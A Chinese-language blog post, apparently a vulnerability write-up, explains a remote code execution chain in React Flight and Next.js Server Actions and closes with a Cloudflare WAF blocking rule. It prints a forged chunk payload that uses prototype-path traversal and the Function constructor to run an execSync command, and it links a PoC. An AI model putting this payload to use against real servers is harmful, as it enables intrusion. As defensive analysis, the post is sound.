React 史诗级漏洞: SSR Server Action 协议导致服务器远程代码执行

1,808 阅读6分钟

Next.js 在 App Router 中引入的 Server Actions 功能极大地简化了前后端交互流程,但其底层使用的通信协议——React Flight 协议,被发现存在严重的安全漏洞。该漏洞允许攻击者通过精心构造的 Multipart 数据包,绕过安全检查,最终在服务器端实现远程代码执行 (RCE)

POC 复现 gist.github.com/maple3142/4…

Server Actions 与 Flight 协议机制

为了理解漏洞,首先需要了解 Server Actions 的运行机制。

Server Actions 的设计初衷

在 Next.js 13+ 中,Server Actions 允许开发者定义服务端函数,并直接在客户端组件中调用,无需显式创建 API 路由。

// app/actions.js
'use server'

export async function submitForm(formData) {
  // 该函数在服务端运行
  await db.users.create({ name: formData.get('name') })
  return { success: true }
}

// app/page.jsx (客户端组件)
import { submitForm } from './actions'

export default function Page() {
  return (
    <form action={submitForm}>
      <input name="name" />
      <button type="submit">提交</button>
    </form>
  )
}

底层通信:Flight 协议

当用户触发上述表单时,浏览器并非发送普通的 JSON 请求,而是通过 React Flight 协议进行通信。且关键在于,为了支持文件上传等特性,传输格式通常为 multipart/form-data。流程如下:

  1. 序列化:React 将客户端数据序列化为 Flight 协议格式。
  2. 传输:通过 HTTP POST 请求发送,请求头包含 Next-Action 标识符,Content-Type 为 multipart/form-data
  3. 反序列化:Next.js 服务端接收请求,解析 Multipart 数据中的 Flight 格式 Payload。
  4. 执行与响应:执行服务端函数,并将结果再次通过 Flight 协议编码返回给客户端。

漏洞的核心,正是出现在服务端解析和反序列化这些 Chunk 的过程中。

漏洞成因:攻击链的三环

该 RCE 漏洞的利用过程并非单一缺陷导致,而是串联了三个逻辑漏洞。

第一环:引用解析中的路径遍历

Flight 协议允许使用冒号 : 对引用对象的属性进行嵌套访问。例如,$0:users:0:name 表示访问 Chunk 0 中 users 数组第 0 项的 name 属性。

服务端解析逻辑的简化伪代码如下:

// 服务端解析逻辑示意
let value = chunk.value;
const path = reference.split(':'); // 分割路径
for (let i = 1; i < path.length; i++) {
  value = value[path[i]]; // 逐层访问属性
}

漏洞点:服务端并未对路径中的属性名进行过滤或白名单验证。

这意味着攻击者可以构造特殊路径来访问 JavaScript 对象的原型链属性:

  • $1:__proto__:then:访问原型链上的 then 方法,用于劫持 Promise 解析。
  • $1:constructor:constructor:获取对象的构造函数的构造函数,即 Function 构造函数

第二环:伪造 Chunk 注入

在 React 内部实现中,Chunk 被视为一种类似 Promise 的对象。服务端在解析时,会检查对象的 status 属性。如果 status 标记为完成状态(如 "resolved_model"),服务端会直接解析其内容,而不会验证该对象是否由系统生成。

攻击者可以构造一个伪造的 Chunk 对象作为 Payload 发送给服务器。根据 PoC 显示,攻击者利用 value 字段作为触发器:

// 攻击者构造的恶意 Chunk (Part "0")
{
  "then": "$1:__proto__:then",  // 1. 劫持 then 属性
  "status": "resolved_model",   // 2. 伪装成已解析状态
  "reason": -1,
  // 3. 关键触发点:Value 中包含对 Blob ($B) 的引用
  // 这会导致解析器尝试去 "获取" 这个 Blob,从而触发下方被替换的 get 方法
  "value": "{"then":"$B1337"}", 
  
  "_response": { // 4. 注入恶意的内部 Response 对象
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_formData": { "get": "$1:constructor:constructor" } // 待替换的函数占位符
  }
}

由于缺乏严格的类型验证,服务端会接纳这个伪造的对象及其包含的恶意内部属性 _response

第三环:Function 构造函数注入与代码执行

攻击者的最终目标是利用上述两个漏洞,将代码字符串转换为可执行函数。

  1. 替换关键方法:攻击者利用第一环的“路径遍历”,将伪造 Chunk 中 _response._formData.get 的值指向 $1:constructor:constructor(即 Function 构造函数)。
  2. 触发执行:攻击者在 Payload 的 value 字段中包含一个 $B (Blob) 类型的引用。

当服务端解析 value 中的 $B 类型引用时,会执行如下逻辑:

// React 源码逻辑简化
case 'B': {
  const prefix = response._prefix; // 攻击者注入的代码字符串
  const blobKey = prefix + id;
  
  // 关键点:调用 _formData.get 以获取 Blob 数据
  // 此时 get 已被替换为 Function 构造函数
  const backingEntry = response._formData.get(blobKey);
  
  return backingEntry;
}

上述代码实际上等效于执行了:

new Function("process.mainModule.require('child_process').execSync('xcalc');" + "1337")

这会创建一个匿名函数,其函数体即为攻击者注入的代码。随后,该函数被作为 Promise 的回调执行,从而在服务器端完成了远程代码执行 (RCE)

攻击流程总结

整个攻击过程可以概括为以下步骤:

  1. 构造 Payload:攻击者通过 multipart/form-data 发送包含伪造 Chunk 的恶意数据包。
  2. 原型链污染:利用路径遍历漏洞(__proto__),劫持 Promise 解析过程。
  3. 构造函数替换:利用路径遍历获取 Function 构造函数,替换掉内部的 _formData.get 方法。
  4. 伪造对象注入:服务器反序列化伪造的 Chunk,加载恶意的 _response 对象。
  5. 代码编译与执行:服务器解析 value 中的 Blob 引用时,错误地调用 Function 构造函数,将恶意字符串编译为函数并在服务端执行。

总结

防御措施:

react.dev/blog/2025/1…

打开这篇文章复制进 cursor 诊断项目的package.json 生成依赖升级命令

评论: 这是 FE 发展至今对全球互联网影响最大的 Bug,无数一键部署到 Vercel ,Netlify, Cloudflare 的 NextJS 网站都是直接暴露的可攻击端点。

所幸 NextJS 这一套纯 FaaS 方案其实私有化部署到自己服务器并不方便,所以互联网上大部分都是部署到 Vercel 自己服务或免费 FaaS平台的,也是自我得之自我失之了。

坏处就是免费的 FaaS 服务被影响最大,比如 CloudFlare 在处理本问题时 2025/12/5 又出现了全球宕机。虽然我是 CF 粉,但这个洗不了,股价还有下跌空间。

附 WAF 侧如何配置

Cloudflare WAF 中安全拦截

当 WAF 试图使用包含大量回溯的正则表达式(ReDoS 风险)去匹配一个极其复杂的恶意 Payload 时,CPU 会被瞬间占满。对于 Next.js 这个漏洞,攻击 Payload 结构复杂且嵌套深,如果我们试图用正则去精准匹配整个 JSON 结构,极易重蹈覆辙。

配置思路

我们不需要解析整个 JSON,只需要抓住攻击链中必不可少的特征字符串。

  • 流量筛选:仅检查带有 Next-Action 请求头的 POST 请求。这能过滤掉 99% 的普通流量,极大降低 WAF 负载。

  • 特征识别

    • __proto__:这是原型链污染的核心,正常业务中几乎不可能在表单 Key 中出现此字符串。
    • constructor:这是获取 Function 构造函数的关键。真实 PoC 显示攻击者必须调用 :constructor 来获取构造器。为了防止误杀(如用户输入 "constructor" 单词),建议匹配带冒号的引用格式(:constructor"constructor"),但在高危时期,阻断裸字符串是更稳妥的选择。

Cloudflare WAF 配置步骤

  1. 登录 Cloudflare 控制台,进入目标域名的 Security (安全性) > WAF (Web 应用程序防火墙)
  2. 点击 Create rule (创建规则)
  3. 点击 Edit expression (编辑表达式) ,切换到表达式模式。
  4. 将下方的表达式粘贴进去:

Bash

(http.request.method eq "POST" and any(http.request.headers.names[*] eq "next-action") and (http.request.body contains "__proto__" or http.request.body contains ":constructor"))

规则详解与安全性分析

  • http.request.method eq "POST"

    • 限制仅检测 POST 请求。
  • any(http.request.headers.names[*] eq "next-action")

    • 这是 Next.js Server Actions 的特征指纹。如果不包含此头,说明不是 Server Action 请求,直接放行。
  • http.request.body contains "__proto__"

    • 使用 contains 运算符。底层实现通常是 BM 算法或类似的高效字符串查找算法,时间复杂度接近 O(n),不存在回溯风险,不会导致 CPU 飙升。
  • http.request.body contains ":constructor"

    • 这里加了一个冒号 :。在 Flight 协议中,引用通常通过冒号分隔(如 PoC 中的 $1:constructor:constructor)。加上冒号可以有效避免误伤正文中包含 "constructor"(建筑商)等普通单词的提交,同时又能精准命中攻击 Payload。

配置建议:设置好规则后,建议先将动作设置为 Log (记录) 观察一段时间,确认没有误拦截正常业务后,再调整为 Block (阻断)